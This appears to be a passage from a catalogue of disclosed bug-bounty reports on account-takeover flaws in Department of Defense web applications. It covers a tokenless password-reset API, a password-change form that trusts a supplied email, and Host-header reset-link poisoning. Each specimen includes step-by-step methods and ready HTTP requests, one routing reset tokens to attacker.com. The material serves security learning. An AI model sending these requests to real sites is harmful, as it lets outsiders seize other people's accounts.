Program deptofdefenseSurface webChain tokenless password reset -> ATO -> SSO to associated aTag account-takeover

Root cause

A ForgotPasswordChangeRequest API accepted a username and a new password and overwrote the account password directly, with no email/SMS token, security question, or identity proof - only a generic session cookie was needed.

Method

  1. Hit the site to obtain valid (unauthenticated) session cookies
  2. POST the ForgotPasswordChangeRequest with the victim username and a chosen password
  3. Log in as the victim with the new password; pivot to linked SSO sites
POST /api/session/personalsettings/ForgotPasswordChangeRequest HTTP/1.1 Content-Type: application/json Cookie: MRHSession=<valid_session> {"Username":"<victim>","Password":"<new>","IsLimitedAccessAccount":false,"HasNagC":false,"HasNagF":false,"HasNagM":false,"HasNagN":false}

Insight β€” Test password-reset/change APIs for missing proof-of-identity: if the endpoint takes username+new-password with no token, it's a mass ATO. Also re-check SSO/downstream sites that claim a login method is 'disabled' - the backend often still honors it (enable the disabled form via devtools).

Real-world example

Password-change replay with attacker-chosen email

β—† Critical
Specimen #1058015 Β· deptofdefense Β· none Β· 24 votes Β· resolved
Program deptofdefenseSurface webTag account-takeover

Root cause

The first-login password-change endpoint trusts a client-supplied email field and sets the new password for that email without binding the request to the authenticated/one-time-password session, allowing password change for any account.

Method

  1. Complete the legit flow once to capture the password-change POST (note txtEMail and txtNewPassword)
  2. Start a login for any victim email with a random password and intercept
  3. Replace the request body with the captured change request, setting txtEMail=victim and txtNewPassword=attacker
  4. Submit and log in as the victim
POST /Login.aspx HTTP/1.1 Host: TARGET Content-Type: application/x-www-form-urlencoded __VIEWSTATE=...&txtEMail=[VICTIM_EMAIL]&txtNewPassword=[DESIRED_PASSWORD]&btnNewPassword=Submit

Insight β€” Any state-changing form that carries the target identity (email/user id) as a parameter is a candidate for horizontal takeover - swap the identifier and see if the server binds the action to the session or blindly trusts the field.

Real-world example

Password-reset link poisoning via Host header

β—† Critical
Specimen #1108874 Β· deptofdefense Β· none Β· 23 votes Β· resolved
Program deptofdefenseSurface webChain host header injection -> reset token leak -> full accoTag account-takeover

Root cause

The reset email builds the link from the request Host header (HTTP_HOST) instead of a fixed server name; an attacker sets Host to their domain so the victim's email contains an attacker-controlled link and the token leaks when clicked.

Method

  1. Submit the victim's email to the forgot-password endpoint
  2. Intercept the request and change Host (or add X-Forwarded-Host) to attacker.com
  3. Forward; the victim receives a reset email whose link points to attacker.com but carries the real token
  4. When victim clicks, the token lands in attacker's logs; use it to set a new password
POST /password/reset HTTP/1.1 Host: attacker.com Content-Type: application/x-www-form-urlencoded email=victim@target.com # variants when Host is validated: X-Forwarded-Host: attacker.com Host: target.com\n\nHost: attacker.com (dup header)

Insight β€” On any reset/verification flow, tamper Host / X-Forwarded-Host / X-Forwarded-Server and check whether the emailed link host changes. Fix tell: app should use a configured SERVER_NAME, not HTTP_HOST.

Β§References & practice

  1. PortSwigger Web Security Academy β€” Authentication labs (hands-on practice).
  2. All 101 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains Β· payload libraries Β· methodology.